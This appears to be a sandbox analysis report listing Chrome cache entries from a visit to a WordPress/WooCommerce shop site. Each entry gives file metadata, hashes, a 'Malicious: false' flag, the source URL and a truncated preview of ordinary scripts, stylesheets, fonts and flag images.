Preview:	document.addEventListener("DOMContentLoaded", function(event) {. function trpClearWooCartFragments(){.. // clear WooCommerce cart fragments when switching language. var trp_language_switcher_urls = document.querySelectorAll(".trp-language-switcher-container a:not(.trp-ls-disabled-language)");.. for (i = 0; i < trp_language_switcher_urls.length; i++) {. trp_language_switcher_urls[i].addEventListener("click", function(){. if ( typeof wc_cart_fragments_params !== 'undefined' && typeof wc_cart_fragments_params.fragment_name !== 'undefined' ) {. window.sessionStorage.removeItem(wc_cart_fragments_params.fragment_name);. }. });. }. }.. trpClearWooCartFragments();.});.

Chrome Cache Entry: 370

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 18 x 12, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	15167
Entropy (8bit):	1.7286164036142724
Encrypted:	false
SSDEEP:
MD5:	B2C356CCFE7A08D94D93CD7C75B67114
SHA1:	F27CE4EC362BEABDF2B80C77DAF6424DDD921118
SHA-256:	C069C3034E29770E2782A3860DC9E78D29E9657AED52ACD42B255D7D258E3E75
SHA-512:	A5F934D8118080E15B0D59BFDC123DD0FE10C1DA456CB2E5766798BF86165A30176E54EE7A92BBCDB34A52D878360CFE1CE9C14A61485F5CC19AEEC2D156FCFB
Malicious:	false
URL:	https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/ary.png
Preview:	.PNG........IHDR..............pz.....pHYs...............9.iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.155772, 2014/01/13-19:44:00 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmp="http://ns.adobe.com/xap/1.0/". xmlns:dc="http://purl.org/dc/elements/1.1/". xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/". xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/". xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#". xmlns:tiff="http://ns.adobe.com/tiff/1.0/". xmlns:exif="http://ns.adobe.com/exif/1.0/">. <xmp:CreatorTool>Adobe Photoshop CC 2014 (Windows)</xmp:CreatorTool>. <xmp:CreateDate>2017-07-24T07:56:23+03:00</xmp:CreateDate>. <xmp:ModifyDate>2017-07-25T15:08:39+03:00</xmp:ModifyDate>. <xmp:M

Chrome Cache Entry: 371

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65497)
Category:	downloaded
Size (bytes):	107993
Entropy (8bit):	4.878769600595484
Encrypted:	false
SSDEEP:
MD5:	4C3923551E9ECA7E76A2F0269237CA61
SHA1:	41F6FAEA2DEE3469D09878909B1FB3900872BDB9
SHA-256:	5BA9E11DB2BB2CD2B62B8502DB6465FBC5F6CE1A490705C05692354F52D5A576
SHA-512:	AD6A294EADB66C1044E5236BA856DA31FAFAED26B7B1615BB0C111FD74DA7CE0D5D07D63A4665168CB3BA36281986C1FED4CC1936123D608D99919F94D892320
Malicious:	false
URL:	https://www.woluntech.com/wp-content/plugins/elementor/assets/css/frontend-lite.min.css?ver=3.6.8
Preview:	/! elementor - v3.6.8 - 27-07-2022 /..dialog-widget-content{background-color:#fff;position:absolute;border-radius:3px;-webkit-box-shadow:2px 8px 23px 3px rgba(0,0,0,.2);box-shadow:2px 8px 23px 3px rgba(0,0,0,.2);overflow:hidden}.dialog-message{font-size:12px;line-height:1.5;-webkit-box-sizing:border-box;box-sizing:border-box}.dialog-type-lightbox{position:fixed;height:100%;width:100%;bottom:0;left:0;background-color:rgba(0,0,0,.8);z-index:9999;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.dialog-type-lightbox .dialog-widget-content{margin:auto;width:375px}.dialog-type-lightbox .dialog-header{font-size:15px;color:#495157;padding:30px 0 10px;font-weight:500}.dialog-type-lightbox .dialog-message{padding:0 30px 30px;min-height:50px}.dialog-type-lightbox:not(.elementor-popup-modal) .dialog-header,.dialog-type-lightbox:not(.elementor-popup-modal) .dialog-message{text-align:center}.dialog-type-lightbox .dialog-buttons-wrapper{border-top:1px solid #e6e

Chrome Cache Entry: 372

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 18 x 12, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	15167
Entropy (8bit):	1.7286164036142724
Encrypted:	false
SSDEEP:
MD5:	B2C356CCFE7A08D94D93CD7C75B67114
SHA1:	F27CE4EC362BEABDF2B80C77DAF6424DDD921118
SHA-256:	C069C3034E29770E2782A3860DC9E78D29E9657AED52ACD42B255D7D258E3E75
SHA-512:	A5F934D8118080E15B0D59BFDC123DD0FE10C1DA456CB2E5766798BF86165A30176E54EE7A92BBCDB34A52D878360CFE1CE9C14A61485F5CC19AEEC2D156FCFB
Malicious:	false
Preview:	.PNG........IHDR..............pz.....pHYs...............9.iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.155772, 2014/01/13-19:44:00 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmp="http://ns.adobe.com/xap/1.0/". xmlns:dc="http://purl.org/dc/elements/1.1/". xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/". xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/". xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#". xmlns:tiff="http://ns.adobe.com/tiff/1.0/". xmlns:exif="http://ns.adobe.com/exif/1.0/">. <xmp:CreatorTool>Adobe Photoshop CC 2014 (Windows)</xmp:CreatorTool>. <xmp:CreateDate>2017-07-24T07:56:23+03:00</xmp:CreateDate>. <xmp:ModifyDate>2017-07-25T15:08:39+03:00</xmp:ModifyDate>. <xmp:M

Chrome Cache Entry: 373

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4875)
Category:	downloaded
Size (bytes):	4910
Entropy (8bit):	5.12606043604223
Encrypted:	false
SSDEEP:
MD5:	B33AB4D5DCF02436276A717E9D1B7C18
SHA1:	F47B9A9C41B3B11C9DFFABCA22945727C3EC6566
SHA-256:	9BD82960D99B3A76F4AF77A88A346BD61F87BAC5FF2F385EE28CD669D8F22134
SHA-512:	63C42992420CB24DA1C9590E35FA835D1881763656C1565C250AE91E487FC48F7B741C5130A97987A1ADA335FB9B9711487A88ECB4D23D5E6A1054B4648B9DE8
Malicious:	false
URL:	https://www.woluntech.com/wp-includes/js/dist/hooks.min.js?ver=c6d64f2cb8f5c6bb49caca37f8828ce3
Preview:	/! This file is auto-generated /.!function(){"use strict";var n={d:function(t,r){for(var e in r)n.o(r,e)&&!n.o(t,e)&&Object.defineProperty(t,e,{enumerable:!0,get:r[e]})},o:function(n,t){return Object.prototype.hasOwnProperty.call(n,t)},r:function(n){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(n,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(n,"__esModule",{value:!0})}},t={};n.r(t),n.d(t,{actions:function(){return S},addAction:function(){return v},addFilter:function(){return m},applyFilters:function(){return k},createHooks:function(){return h},currentAction:function(){return w},currentFilter:function(){return I},defaultHooks:function(){return f},didAction:function(){return O},didFilter:function(){return j},doAction:function(){return b},doingAction:function(){return x},doingFilter:function(){return T},filters:function(){return z},hasAction:function(){return _},hasFilter:function(){return g},removeAction:function(){return p},removeAllActions:functio

Chrome Cache Entry: 374

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 18 x 12, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	266
Entropy (8bit):	6.5012457869057245
Encrypted:	false
SSDEEP:
MD5:	9F8A8F0F1B85F440E39FC26A00856075
SHA1:	148AD1A5329BBE008F3CDE44DFA8DBBD3E78B787
SHA-256:	72AAB8D9E71068FC28F9B353DEB1A0F2CEA7A72CA17B0180947DA983DCF7CE80
SHA-512:	83D6F2215A46C971E831DE0CAF8DF7D0D3230D94593B249543D37855379CF19778C77BAB450F2ACEFEDF85B3A33CEBE8D623994395DD1BFFB25348D57FBD06B1
Malicious:	false
URL:	https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/es_CO.png
Preview:	.PNG........IHDR..............pz....+tEXtCreation Time.wo 28 dec 2005 12:37:14 +0100..N.....tIME...../."..}....pHYs...........~.....gAMA......a....bIDATx.....0.C3...O.G........S..\Zx.4A...@n....W.@J..:.@.1.9..;..G,.'.W....?..j[5..^u'....$.i..."._..A....IEND.B`.

Chrome Cache Entry: 375

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65527), with no line terminators
Category:	downloaded
Size (bytes):	208715
Entropy (8bit):	4.922760426079896
Encrypted:	false
SSDEEP:
MD5:	3F69F238898ADEB8979B8F94F21613ED
SHA1:	70017E85B88B875ED695AD39017A0CA75A5E6B4F
SHA-256:	1569CC17E59582D682F33021F1A3E4E057D8D8681701ADA555817418B6BA1EB9
SHA-512:	82DC60513F1C2690EB674D96EBFBC1D780C23F187D8337901A685E36B8D764767E2D317FC2A3011E79E7BF05F01834E11DCB7491167F71D944F661513B0AE804
Malicious:	false
URL:	https://www.woluntech.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/wc-blocks-style.css?ver=6.7.3
Preview:	.wc-block-link-button{border:0;border-radius:0;margin:0;padding:0;vertical-align:baseline;color:inherit;font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;letter-spacing:inherit;line-height:inherit;text-decoration:inherit;text-transform:inherit;box-shadow:none;display:inline;text-shadow:none;text-decoration:underline}.wc-block-link-button,.wc-block-link-button:active,.wc-block-link-button:focus,.wc-block-link-button:hover{background:transparent}.wc-block-suspense-placeholder{outline:0!important;border:0!important;background-color:#ebebeb!important;color:transparent!important;width:100%;border-radius:.25rem;display:block;line-height:1;position:relative!important;overflow:hidden!important;max-width:100%!important;pointer-events:none;box-shadow:none;z-index:1}.wc-block-suspense-placeholder>*{visibility:hidden}.wc-block-suspense-placeholder:after{content:" ";display:block;position:absolute;left:0;right:0;top:0;height:100%;background-repeat:no-repeat;background-ima

Chrome Cache Entry: 376

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8189)
Category:	dropped
Size (bytes):	20715
Entropy (8bit):	5.303600522104169
Encrypted:	false
SSDEEP:
MD5:	6AAF0A4E8EAC131DEFEA126F5B1B5FBF
SHA1:	24DA0326AF36303E5A1E9799A3C26F7A1077928C
SHA-256:	240B702419D6C39ECC4896F0132CCFC9BC517E9AEF0C782D99580E0C678B47D5
SHA-512:	A81796898EFEB3673291B036432910026486146CCF28E2BE0D802AFAC689104E9B99D969CE89048EA300AFED2604977ECFA4B40BE914C20A2F1C69F7B723DE52
Malicious:	false
Preview:	/! jQuery UI - v1.13.1 - 2022-01-20. http://jqueryui.com.* Includes: data.js, disable-selection.js, escape-selector.js, focusable.js, form-reset-mixin.js, form.js, ie.js, jquery-1-7.js, keycode.js, labels.js, plugin.js, position.js, safe-active-element.js, safe-blur.js, scroll-parent.js, tabbable.js, unique-id.js, version.js, widget.js.* Copyright jQuery Foundation and other contributors; Licensed /.!function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery"],t):t(jQuery)}(function(x){"use strict";var t,e,i,n,W,C,o,s,r,l,a,h,u;function E(t,e,i){return[parseFloat(t[0])(a.test(t[0])?e/100:1),parseFloat(t[1])(a.test(t[1])?i/100:1)]}function L(t,e){return parseInt(x.css(t,e),10)\|\|0}function N(t){return null!=t&&t===t.window}x.ui=x.ui\|\|{},x.ui.version="1.13.1",./!. * jQuery UI :data 1.13.1. * http://jqueryui.com. . Copyright jQuery Foundation and other contributors. * Released under the MIT license.. * http://jquery.org/license. */.x.extend(x.expr.pseudos,{dat

Chrome Cache Entry: 377

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 48236, version 1.0
Category:	downloaded
Size (bytes):	48236
Entropy (8bit):	7.994912604882335
Encrypted:	true
SSDEEP:
MD5:	015C126A3520C9A8F6A27979D0266E96
SHA1:	2ACF956561D44434A6D84204670CF849D3215D5F
SHA-256:	3C4D6A1421C7DDB7E404521FE8C4CD5BE5AF446D7689CD880BE26612EAAD3CFA
SHA-512:	02A20F2788BB1C3B2C7D3142C664CDEC306B6BA5366E57E33C008EDB3EB78638B98DC03CDF932A9DC440DED7827956F99117E7A3A4D55ACADD29B006032D9C5C
Malicious:	false
URL:	https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTS-muw.woff2
Preview:	wOF2.......l......D...............................O..B..h?HVAR.x.`?STAT.$'...0+...\|.../V........+..2.0..6.6.$..`. ..~......[B4q.....t..P.M_.z...1..R.S...u.#..R....fR.1.N.v.N.P...;.2........!Z......Qs...5f.G.K.an2&....2.........C.H.t..N!.....nh.<(.vN.....j.._.L.P.t..Ai.%.............._I.i,..o,C.].H.X9.....a.=N....k.....n.L..k.f.u..{...:.}^\[..~5...Z`...........`!...%4..,...K0..&.a/....P....S....m.Z......u...D.j.F...f.0`I.`.`.h#..)(FQ.F!o$........S.).MV8%Rh...r...x...T]$.=......Y...!.3.&U..."....Q....{.l/0..d..4iJ/..}...3....i[Z..NG.WD...>.[U..Q.h..@m.=..S...1C2...d...<..v.?.q.f..n...OUz.....&Z......Z."..N.....n...9.B..C..W....}...W..6Zs.i.+Z........jB.n..x.8M.....q..@I....-.%..,C,..K..#.2...4)/.v_..x.<....t.....%[.4?.=j.V..jj''..W.u..q....I.L.=......E...\.M.7{.>......W........C.`...,9$......\..o........y...4A..m.P.,X..=?.:................wF`..+.P..........M!.4.......l.>M..t.ff5r..^..Z.g...!fA,hIIQ...e.R>B.AH.VuX..>..\.=.ky...1>C....>C.c.;...6D.

Chrome Cache Entry: 378

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1668)
Category:	downloaded
Size (bytes):	1834
Entropy (8bit):	5.438090839180011
Encrypted:	false
SSDEEP:
MD5:	D0A6D8547C66B0D7B0172466558D1208
SHA1:	FF93916519C7B9483251F609E4D29F38C30A66E3
SHA-256:	3B1384FF918D4B7F95F9EE5C8FC388203DEDFF7344D3D96598C9562162788612
SHA-512:	48BB25B08BFCC9944CD1FC3BD039EA41D1A870F488971839F2891B91710F3FF9EB0B523AA7AB888BF9968BBBCA41A48761405ABBAFC6C6D24927C078049545B8
Malicious:	false
URL:	https://www.woluntech.com/wp-content/plugins/woocommerce/assets/js/js-cookie/js.cookie.min.js?ver=2.1.4-wc.6.2.2
Preview:	/!. JavaScript Cookie v2.1.4. * https://github.com/js-cookie/js-cookie. . Copyright 2006, 2015 Klaus Hartl & Fagner Brack. * Released under the MIT license. /.!function(e){var n,o,t=!1;"function"==typeof define&&define.amd&&(define(e),t=!0),"object"==typeof exports&&(module.exports=e(),t=!0),t\|\|(n=window.Cookies,(o=window.Cookies=e()).noConflict=function(){return window.Cookies=n,o})}(function(){function m(){for(var e=0,n={};e<arguments.length;e++){var o,t=arguments[e];for(o in t)n[o]=t[o]}return n}return function e(C){function g(e,n,o){var t,r;if("undefined"!=typeof document){if(1<arguments.length){"number"==typeof(o=m({path:"/"},g.defaults,o)).expires&&((r=new Date).setMilliseconds(r.getMilliseconds()+864e5o.expires),o.expires=r),o.expires=o.expires?o.expires.toUTCString():"";try{t=JSON.stringify(n),/^[\{\[]/.test(t)&&(n=t)}catch(l){}n=C.write?C.write(n,e):encodeURIComponent(String(n)).replace(/%(23\|24\|26\|2B\|3A\|3C\|3E\|3D\|2F\|3F\|40\|5B\|5D\|5E\|60\|7B\|7D\|7C)/g,decodeURIComponent),e=(

Chrome Cache Entry: 379

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4918)
Category:	downloaded
Size (bytes):	4957
Entropy (8bit):	5.387178733387992
Encrypted:	false
SSDEEP:
MD5:	530DFFBFB4C3EFD2C496617D77FB2448
SHA1:	1197E6BA4AC2DACE2A8A63C5283ED0B590610152
SHA-256:	08C70FAE8C5A06E27F90B3B8BAC23C07318FE3EAD7CEBD2A7AC2E56A7A6C00E0
SHA-512:	9BF443D958F9C39221EE999E3EA52D3EC24B1E7A60716082523F4178086F6C56499C462C0992167D36B7866CE0E69F3E700CDEFF590D5A1E1F71A5A21A99B00F
Malicious:	false
URL:	https://www.woluntech.com/wp-content/plugins/elementor/assets/js/webpack.runtime.min.js?ver=3.6.8
Preview:	/! elementor - v3.6.8 - 27-07-2022 /.(()=>{"use strict";var e,r,_,t,i,a={},n={};function __webpack_require__(e){var r=n[e];if(void 0!==r)return r.exports;var _=n[e]={exports:{}};return a[e](_,_.exports,__webpack_require__),_.exports}__webpack_require__.m=a,e=[],__webpack_require__.O=(r,_,t,i)=>{if(!_){var a=1/0;for(c=0;c<e.length;c++){for(var[_,t,i]=e[c],n=!0,o=0;o<_.length;o++)(!1&i\|\|a>=i)&&Object.keys(__webpack_require__.O).every((e=>__webpack_require__.O[e](_[o])))?_.splice(o--,1):(n=!1,i<a&&(a=i));if(n){e.splice(c--,1);var u=t();void 0!==u&&(r=u)}}return r}i=i\|\|0;for(var c=e.length;c>0&&e[c-1][2]>i;c--)e[c]=e[c-1];e[c]=[_,t,i]},_=Object.getPrototypeOf?e=>Object.getPrototypeOf(e):e=>e.__proto__,__webpack_require__.t=function(e,t){if(1&t&&(e=this(e)),8&t)return e;if("object"==typeof e&&e){if(4&t&&e.__esModule)return e;if(16&t&&"function"==typeof e.then)return e}var i=Object.create(null);__webpack_require__.r(i);var a={};r=r\|\|[null,_({}),_([]),_(_)];for(var n=2&t&&e;"object"==typeof

Chrome Cache Entry: 380

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 18 x 12, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	600
Entropy (8bit):	6.366523294214282
Encrypted:	false
SSDEEP:
MD5:	C4DF867F28F81A3DC04E1D8848DC2D59
SHA1:	89BE3223329FF79E17BF59A80219E48611630C72
SHA-256:	74814916E9407567FEEB8BEB0AE2C82184CC6865AE548B135F27E402F7DAF3FB
SHA-512:	0AF0510B15846DED78D96C5F5BDF3BBF9E765B4E03832565E8A8F37847944FC2B15549FB6B6C95C54CF9AB132A793A6FAA8F7C6B6E21A4BD7C8FC84077491C9F
Malicious:	false
URL:	https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/ta_LK.png
Preview:	.PNG........IHDR.............X.......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....PLTE..............a.................................?..n..V......;..y............{.lH.C4.k^.y......C..x.\...#".......?..G....aZ\.............A..9....jS....^D...........xk.]Y.........z....................x...............>......bKGDH........tIME.....:!F.a....zIDAT..c`..FF.4..........$.........$$ ($,"&.$$!)%-#+'..RPTRVQUSG.........G.20426153@.1.[XZY..".eg...$..d#.......;...!..R.......%tEXtdate:create.2022-02-16T12:58:33+00:00.......%tEXtdate:modify.2022-02-16T12:58:33+00:00..m....IEND.B`.

Chrome Cache Entry: 381

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	776
Entropy (8bit):	4.509845780570887
Encrypted:	false
SSDEEP:
MD5:	E3B8982C8A7050D9B40B8845C0B76C1A
SHA1:	08A9F584EE3DBE433B6C3D1CAAE7A11503ADFC8C
SHA-256:	FD4F5A3FEA174940B07A8551367ADC62620128ECE0A854118072B6CF71F84BFD
SHA-512:	057605CE5C08ED9FC6B21A3A652F574686D58F8054F4FA7FF221F95E7302A9AEE81EE9457DB67BCA19E5ADF4273CF2F95899AB37B5F207E977469D1A79972939
Malicious:	false
Preview:	{"fragments":{"div.widget_shopping_cart_content":"<div class=\"widget_shopping_cart_content\">\n\n\t<p class=\"woocommerce-mini-cart__empty-message\">No products in the cart.<\/p>\n\n\n<\/div>","a.cart-container":"\t\t\t<a class=\"cart-container\" href=\"https:\/\/www.woluntech.com\" title=\"View your shopping cart\">\r\n\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t<div class=\"ast-cart-menu-wrap\">\r\n\t\t\t\t\t\t\t\t<span class=\"count\">\r\n\t\t\t\t\t\t\t\t\t0\t\t\t\t\t\t\t\t<\/span>\r\n\t\t\t\t\t\t\t<\/div>\r\n\t\t\t\t\t\t\t\t\t\t<\/a>\r\n\t\t\t","div.elementor-widget-container .woocommerce .cross-sells":"<div class=\"cross-sells\"><\/div>","div.elementor-widget-container .woocommerce section.up-sells":"<section class=\"up-sells upsells products\"><\/section>"},"cart_hash":""}

Chrome Cache Entry: 382

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1572)
Category:	downloaded
Size (bytes):	14069
Entropy (8bit):	5.392659171425879
Encrypted:	false
SSDEEP:
MD5:	0986858D3DEC42923B4B4988C51FBEE0
SHA1:	DE16F934962535A9A6AEBF54022753A4B594A765
SHA-256:	1668326ACAB9C415DE2461714280418E2766EECBCE7AD3AF74C3FB0CDC608F91
SHA-512:	B3D1A0219E905FD15BAF0427443040F9368E4FDAAF30F4678076C06473813D49EC634BEBEF65871C6AD6DE085FB6849A9A903D8A290A5FCC363397D509086405
Malicious:	false
URL:	https://fonts.googleapis.com/css?family=Open+Sans%3A400%2C%2C600%7CMerriweather%3A700%2C&display=fallback&ver=3.7.9
Preview:	/* cyrillic-ext /.@font-face {. font-family: 'Merriweather';. font-style: normal;. font-weight: 700;. font-display: fallback;. src: url(https://fonts.gstatic.com/s/merriweather/v30/u-4n0qyriQwlOrhSvowK_l52xwNZVcf6lvg.woff2) format('woff2');. unicode-range: U+0460-052F, U+1C80-1C8A, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;.}./ cyrillic /.@font-face {. font-family: 'Merriweather';. font-style: normal;. font-weight: 700;. font-display: fallback;. src: url(https://fonts.gstatic.com/s/merriweather/v30/u-4n0qyriQwlOrhSvowK_l52xwNZXMf6lvg.woff2) format('woff2');. unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;.}./ vietnamese */.@font-face {. font-family: 'Merriweather';. font-style: normal;. font-weight: 700;. font-display: fallback;. src: url(https://fonts.gstatic.com/s/merriweather/v30/u-4n0qyriQwlOrhSvowK_l52xwNZV8f6lvg.woff2) format('woff2');. unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+03

Chrome Cache Entry: 383

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (11126)
Category:	dropped
Size (bytes):	11224
Entropy (8bit):	5.2603128465032745
Encrypted:	false
SSDEEP:
MD5:	79B4956B7EC478EC10244B5E2D33AC7D
SHA1:	A46025B9D05E3DF30D610A8AEF14F392C7058DC9
SHA-256:	029E0A2E809FD6B5DBE76ABE8B7A74936BE306C9A8C27C814C4D44AA54623300
SHA-512:	217F86FEE871FA36ECA4F25830E3917C7BF57A681140B135C508AA32F2A1E3EFF5A80661F3B5BA46747D0C305AF10B658D207F449550F3D417D9683216FEEA8F
Malicious:	false
Preview:	/! jQuery Migrate v3.3.2 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /."undefined"==typeof jQuery.migrateMute&&(jQuery.migrateMute=!0),function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery"],function(e){return t(e,window)}):"object"==typeof module&&module.exports?module.exports=t(require("jquery"),window):t(jQuery,window)}(function(s,n){"use strict";function e(e){return 0<=function(e,t){for(var r=/^(\d+)\.(\d+)\.(\d+)/,n=r.exec(e)\|\|[],o=r.exec(t)\|\|[],i=1;i<=3;i++){if(+o[i]<+n[i])return 1;if(+n[i]<+o[i])return-1}return 0}(s.fn.jquery,e)}s.migrateVersion="3.3.2",n.console&&n.console.log&&(s&&e("3.0.0")\|\|n.console.log("JQMIGRATE: jQuery 3.0.0+ REQUIRED"),s.migrateWarnings&&n.console.log("JQMIGRATE: Migrate plugin loaded multiple times"),n.console.log("JQMIGRATE: Migrate is installed"+(s.migrateMute?"":" with logging active")+", version "+s.migrateVersion));var r={};function u(e){var t=n.console;s.migrateDeduplicateWarnings&&r[e]\|\|(r[e]=!0

Chrome Cache Entry: 384

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19082)
Category:	downloaded
Size (bytes):	19128
Entropy (8bit):	4.5664248896753055
Encrypted:	false
SSDEEP:
MD5:	50BE31853049E4B4A10C277D5F95EB75
SHA1:	AC2DFFC0C65AD6B209FEDF2169D0C50EB4119A3E
SHA-256:	B651D87EF113CBA0C8EC8A33BFDB694171EFFEBA56B20BE12E3C77FC15F6AE9F
SHA-512:	D4E784C23393F5DEC68871A57EBE42BB7B44112010774602B4A4F97BAAE37C6A40D405F71A624183F2597136141B79E9AC902C4835D34BF09A122978F71F8D4E
Malicious:	false
URL:	https://www.woluntech.com/wp-content/plugins/elementor/assets/lib/eicons/css/elementor-icons.min.css?ver=5.15.0
Preview:	/! elementor-icons - v5.15.0 - 30-01-2022 /.@font-face{font-family:eicons;src:url(../fonts/eicons.eot?5.15.0);src:url(../fonts/eicons.eot?5.15.0#iefix) format("embedded-opentype"),url(../fonts/eicons.woff2?5.15.0) format("woff2"),url(../fonts/eicons.woff?5.15.0) format("woff"),url(../fonts/eicons.ttf?5.15.0) format("truetype"),url(../fonts/eicons.svg?5.15.0#eicon) format("svg");font-weight:400;font-style:normal}[class*=" eicon-"],[class^=eicon]{display:inline-block;font-family:eicons;font-size:inherit;font-weight:400;font-style:normal;font-variant:normal;line-height:1;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}@keyframes a{0%{transform:rotate(0deg)}to{transform:rotate(359deg)}}.eicon-animation-spin{animation:a 2s infinite linear}.eicon-editor-link:before{content:'\e800'}.eicon-editor-unlink:before{content:'\e801'}.eicon-editor-external-link:before{content:'\e802'}.eicon-editor-close:before{content:'\e803'}.eicon-editor-list-ol:before{cont

Chrome Cache Entry: 385

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (11487)
Category:	downloaded
Size (bytes):	11530
Entropy (8bit):	4.626676821688914
Encrypted:	false
SSDEEP:
MD5:	BA6FE1E75946FFD439CC2BDE34DB1FE9
SHA1:	A7043E417C12EAE23DA5F5EC95CABD4071D105D0
SHA-256:	911F9EEC6A662AE27D2517BC591B76C6922FBF71C3B7DF5DC87033F393F9E55F
SHA-512:	3CAB68AFE3826C2B216833F08D9910A4D5EE6E8A72068C070903BFD95D039EC4C3746B1892DC8C42A4B9CB0711423110EC5CDC75F2F3C3EBDA74CE0262A29AC6
Malicious:	false
URL:	https://www.woluntech.com/wp-content/plugins/elementor-pro/assets/css/frontend-lite.min.css?ver=3.7.3
Preview:	/! elementor-pro - v3.7.3 - 31-07-2022 /..elementor-bg-transform .elementor-bg{will-change:transform}.elementor-bg-transform-zoom-in:hover .elementor-bg,.elementor-bg-transform-zoom-out .elementor-bg{-webkit-transform:scale(1.2);-ms-transform:scale(1.2);transform:scale(1.2)}.elementor-bg-transform-zoom-out:hover .elementor-bg{-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}.elementor-bg-transform-move-left .elementor-bg{-webkit-transform:scale(1.2) translateX(8%);-ms-transform:scale(1.2) translateX(8%);transform:scale(1.2) translateX(8%)}.elementor-bg-transform-move-left:hover .elementor-bg,.elementor-bg-transform-move-right .elementor-bg{-webkit-transform:scale(1.2) translateX(-8%);-ms-transform:scale(1.2) translateX(-8%);transform:scale(1.2) translateX(-8%)}.elementor-bg-transform-move-right:hover .elementor-bg{-webkit-transform:scale(1.2) translateX(8%);-ms-transform:scale(1.2) translateX(8%);transform:scale(1.2) translateX(8%)}.elementor-bg-transform-move-up

Chrome Cache Entry: 386

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (17307), with no line terminators
Category:	downloaded
Size (bytes):	17307
Entropy (8bit):	4.665628210261664
Encrypted:	false
SSDEEP:
MD5:	8E3D6721F8CF9EA35437A853A15B4863
SHA1:	D72DA129B52A6382FBD069254E7C398596E73EE6
SHA-256:	6E3C2767206729F5B8F858D0B58E10D838022B5F06D28468CB0A9F504EA903E1
SHA-512:	754AD1A093D979497C29918CCB0EA4CB8D344CD3B1B304214552E47AD9F165D484524B7A84133B297F08FC8556804B47DEE9D5C3B2183CC1644EEA1B324A3F15
Malicious:	false
URL:	https://www.woluntech.com/wp-content/themes/astra/assets/css/minified/compatibility/woocommerce/woocommerce-layout.min.css?ver=3.7.9
